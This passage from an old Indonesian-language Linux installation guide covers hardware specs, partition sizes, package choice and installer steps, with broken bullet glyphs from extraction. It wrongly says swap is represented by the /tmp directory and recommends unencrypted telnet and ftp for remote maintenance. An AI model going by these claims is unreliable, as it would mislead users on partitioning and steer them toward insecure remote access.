Hal-hal yang perlu diperhatikan untuk melakukan instalasi Linux pada komputer anda antara lain :
􀀀 Mengetahui spesikasi hardware
􀀀 Alokasi ruang harddisk
􀀀 Pemilihan paket software
􀀀 Proses instalasi
2.1 Mengetahui spesifikasi hardware
Pada bagian ini, anda harus mengetahui dan mengerti spesifikasi teknis dari device yang terdapat pada komputer anda,
hal ini mencakup :
􀀀 Nama device tersebut
􀀀 Nama chipset pada device tersebut
􀀀 Kegunaan dan jenis device tersebut
Device yang biasanya terdapat pada komputer anda antara lain :
􀀀 Mouse
􀀀 Keyboard
􀀀 Graphic Card
􀀀 Sound Card
􀀀 Harddisk
􀀀 Monitor
􀀀 Network Card
􀀀 Modem
Lebih jelasnya, dari device-device di atas, anda harus mengetahui :
􀀀 Jenis konektor mouse, serial atau ps/2
􀀀 Vendor mouse (Microsoft, Logitech, Generic)
􀀀 Jumlah key pada keyboard (biasanya standar 101 key)
􀀀 Chipset pada graphic card, berhubungan erat dengan vendor card tersebut
􀀀 Kapasitas memory graphic card
􀀀 Chipset pada sound card
􀀀 Kemungkinan anda akan ditanyakan juga IO, IRQ dan DMA dari sound card
􀀀 Kapasitas harddisk
􀀀 BUS data harddisk, tentukan apakah harddisk anda SCSI (Ultra-ATA, Fast-ATA) atau IDE (UDMA-33, UDMA-
66)
􀀀 Jenis, refresh rate dan resolusi maksimum monitor
􀀀 BUS data network card, tentukan ISA atau PCI
􀀀 Chipset, IO port dan IRQ network card. Untuk jenis PCI biasanya PNP.
􀀀 Identifikasi network anda, mencakup nomor IP, subnet mask, gateway address, hostname, domain dan IP DNS
Server
􀀀 Jenis modem, tentukan modem internal atau eksternal
Kebutuhan minimal komputer yang akan diinstal Linux untuk keperluan perkantoran dan sehari-hari adalah :
􀀀 Kapasitas harddisk 3,2 GB. Namun Linux mampu untuk dijalankan pada harddisk tua Seagate 170 MB, dan
bekerja baik sebagai router untuk jaringan dengan jumlah terminal 12 komputer
􀀀 Kapasitas memory (RAM) system 32 MB. Namun Linux dapat diinstal pada komputer dengan memory 4 MB,
bekerja baik sebagai bridge untuk jaringan kampus.
􀀀 Processor minimal sekelas Pentium-233 MMX. Namun Linux bekerja sangat baik pada komputer 486DX2-66
sebagai router untuk jaringan warnet dan Small Office.
􀀀 Mouse, keyboard dan monitor. Bila Linux digunakan sebagai router atau bridge jaringan, setelah proses instalasi,
mouse, keyboard dan monitor dapat dilepas. Gunakan akses telnet dan ftp untuk remote maintenance tanpa
butuh mouse, keyboard dan monitor.
2.2 Alokasi ruang harddisk
Pada dasarnya anda tidak perlu membagi-bagi ruang harddisk anda untuk direktori-direktori tertentu. Namun dengan
melakukan alokasi ruang harddisk anda akan memperoleh keuntungan-keuntungan antara lain :
􀀀 Proses booting lebih cepat
􀀀 Kemudahan merancang backup system
􀀀 Pengontrolan akses read-write pada beberapa partisi
􀀀 Pengontrolan quota harddisk untuk user dan group
􀀀 Pembatasan besar file maksimum
Beberapa direktori memang jauh lebih baik dari segi performasi dan sekuritasnya apabila dibuat partisi sendiri. Contoh
alokasi harddisk sebesar 3,2 GB yang dapat digunakan sebagai acuan menginstal Linux :
Swap adalah jenis partisi lain dari Linux yaitu Linux Swap yang digunakan sebagai virtual memory dan tempat
menyimpan file-file temporer. Direktori yang mewakili partisi swap adalah /tmp. Istilah grow to fill artinya
besar partisi ditentukan otomatis sebesar sisa harddisk yang kosong setelah dikurangi dengan besar partisi yang lain.
Namun anda harus dapat menghitung bahwa kira-kira, partisi root / harus memiliki besar lebih dari 350 MB.
Sebagai catatan, beberapa aplikasi menyimpan source mereka di direktori /opt, sehingga alokasi harddisk perlu
diubah menyesuaikan kebutuhan itu. Contoh aplikasi ini adalah Corel Draw dan StarOffice.
Direktori Ukuran
/boot 5 MB
/home 500 MB
/usr 2000 MB
swap 128 MB
/ grow to fill
Tabel 2.1: Tabel ukuran partisi
2.3 Pemilihan paket software
Tentukan tujuan penginstalan Linux anda dan tentukan tools yang dibutuhkan untuk mencapai tujuan tersebut. Bila
anda menginginkan Linux anda dapat digunakan untuk melakukan pekerjaan perkantoran seperti pembuatan dokumen,
pencetakan dokumen, pembuatan presentasi, penyuntingan gambar dan suara, sebaiknya anda menginstal paket-paket
office oriented dan XWindow System. Apabila anda seorang programmer C, C++, perl atau python, anda instal paketpaket
devel dan interpreter. Lain lagi bila anda seorang system administrator atau network administrator, anda harus
memperhatikan efisiensi dan efektifitas sistem guna memperoleh performasi maksimum tanpa berkompromi dengan
sekuritas sistem dari semua aspek.
2.4 Proses instalasi
Model instalasi Linux tidak sama, tetapi tergantung pada distro yang mengembangkannya. Mode text dan GUI menentukan
layout instalasi yang akan dijalani. Kendatipun terdapat perbedaan layout dan alur instalasi, ada beberapa hal
yang menjadi standar pada proses instalasi Linux, antara lain :
􀀀 Pertanyaan model instalasi, apakah anda akan Upgrade atau Install Server,Workstation.atau Custom
􀀀 Pertanyaan pemilihan bahasa
􀀀 Mempartisi harddisk
􀀀 Mengkonfigurasi atribut network seperti hostname
􀀀 Mensetup mouse, keyboard, sistem waktu, device SCSI dan graphic card
􀀀 Memilih paket-paket yang akan diinstal
􀀀 Menentukan LILO (Linux Loader)
Bila proses instalasi berjalan lancar, kita beralih ke proses konfigurasi sistem. Device-device yang perlu dikonfigurasi
antara lain :
􀀀 Graphic card, apabila saat instalasi terjadi kegagalan
􀀀 Sound card, melalui sndconfig atau menu setup
􀀀 Modem untuk dialup internet
Setelah konfigurasi sistem, Linux anda sudah siap untuk digunakan.